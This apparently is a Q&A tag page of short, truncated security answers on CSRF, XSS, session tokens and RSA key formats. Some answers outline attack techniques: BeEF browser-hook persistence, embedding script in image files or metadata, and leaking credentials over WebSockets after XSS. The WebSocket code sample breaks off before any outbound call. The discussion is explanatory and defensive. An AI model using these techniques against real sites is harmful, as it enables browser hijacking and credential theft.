Tag Info

Hot answers tagged

14

Yes, this is insecure as specified. Your design seems to be vulnerable to Cross-Site Request Forgery (CSRF also known as XSRF) attacks (need to add a CSRF token with all POST actions that is displayed with the form and stored in a session cookie). Basically, if a user goes to some other website (email, forum, blog) while logged into your website, their ...


11

What you present is not an authentication protocol; it is merely a concept, namely the concept of a session token. In plain words: Server authenticates client, and send back a secret key to that client (the session token). When the client comes back, it shows the token to the server to prove that it is the same client as previously. The client can request ...


6

I work at Disqus and I feel the answers above are misinformed about how our application works. Basically, our application is loaded almost entirely inside an iframe. This dramatically changes how your site is exposed to both our code and 3rd-party code. Am I essentially giving scorecardresearch.com access to my users and user's cookies for my domain, ...


4

BeEF has 4 ways to keep user browser hooked - Create popup under the browser to keep BeEF js code executing, Prevent closing tab with BeEF code running by asking confirmation Open new pages in foreground iframes Capture all link clicks and load new pages through ajax, without reloading page. Details are here: BeEF Persistence


4

The number one reason why we are not all compromised is that there are just not enough attackers to do the job, and most of you are not interesting enough targets either. Civilization as a whole can keep on running because most people are basically honest; you can walk in the street among complete strangers and none of them will try to punch you or stab you, ...


2

It will render that content in the div and show the alert. My question is if the act of rendering the contents of the textbox on the client side could pose any kind of threat? If so, what could a malicious user do? If this is the case I would fix it (defence in depth), but as AviD pointed out without seeing the full site and its context, it is ...


2

The funny thing about providing a generic 'gist' of an authentication flow is that unless you really screw up the flow, you likely won't find serious issues because there just isn't enough detail to say one way or another. More often than not, its the implementation that is flawed. This is further complicated by the fact that you don't specify what you're ...


2

When looking at the JavaScript that is written to the document, I see nothing that accesses the comment. The JavaScript code: var a = document.cookie; document.cookie = "hop=" + escape("hop") + ";path=/"; var b = navigator.appVersion, c = " " + document.cookie, d = null, e = 0, f = 0; if (c.length > 0) { e = c.indexOf(" hop="); ...


2

The PEM format is a remnant from an old, forgotten standard called Privacy Enhanced Mail (it was never widely adopted, but served as inspiration for ulterior protocols, in particular S/MIME and PGP). A private RSA key in PEM is really the Base64 encoding of the DER encoding of an ASN.1 structure which looks like this: RSAPrivateKey ::= SEQUENCE { ...


2

There are signatures, but these don't typically exist in standard AV products. Frequently, these types of protections are found in network based security products such as proxy servers, IPS/IDS, and web application firewalls. These signatures don't operate on hashes like typical AV signatures do, but rather look at the heuristics or behavior of the code ...


1

Sometimes, it depends on what you change. A normal RSA private key file is a PEM encoded DER form ASN.1 data structure which contains a version number, plus eight numeric key components, in order: version (0) the modulus, n public exponent, e the private exponent, d the original pair of primes used to generate the key, p and q three additional values used ...


1

There's another option, but it wouldn't be really P2P. You could use 2 proxy servers between the connection: Client1 <-> Proxy1 <-> Proxy2 <-> Client 2 0.0.0.0.......1.1.1.1.......2.2.2.2.......3.3.3.3 The real remote connection in this case should be 1.1.1.1 <-> 2.2.2.2 and not 0.0.0.0 <-> 3.3.3.3.


1

While the previous answer does explain how to do this, since this appears to be a demonstration problem, it is probably beneficial to give a little more explanation about why it works. This example appears to be a demonstration of the weakness of client side code. In public networks, such as the Internet, client computers are pretty much never trusted. ...


1

This is a moving target, as there is a cat-and-mouse game as attackers discover new techniques and browsers implement new defences. In general, JavaScript: can access config information about your browser and plugins. The site you linked seems to be a good summary of the current techniques. cannot access your local files, at least, unless you explicitly ...


1

Edit: itscooper's answer is the correct interpretation of the vulnerability in the THN article that the question linked to, in my opinion. The answer below is for the general question of how to hide js and have it be executed inside an image object. Historically, you could XSS some browsers by inserting "javascript:" URLs as image sources, because they ...


1

In the article you linked to, the Javascript code is not being included inside the image file itself per se, it's manifesting within the HTML page that references the image. Untrusted input is being returned inside the image tag without sufficient validation or sanitisation. This is persistent cross-site scripting since the malicious input is being returned ...


1

There are 2 ways you can do this, the first is simply writing a script in a text file and saving it as a jpg. This is obviously not an image, but it will work. If you want a real image, you can take your image and use a hexeditor to add your script to the image metadata. This works because the browsers interpret the code as they try to render the image into ...


1

Preventing cross-domain WebSockets is server-sided. So yes, a successful XSS attack can create a websocket connection to a 3rd party server and send sensitive information. But it's far from the only technique an XSS attack can use to leak information to a 3rd party server. Take the following code for example: var password = getCredentials().password; var ...


1

Generally speaking, login pages don't display content that can be attacked with XSS. There isn't a good way to alter the code on that page to be able to monitor the entry. Also, in general, XSS protection is pretty good on most modern sites, at least on the parts where it could be particularly damaging.



Only top voted, non community-wiki answers of a minimum length are eligible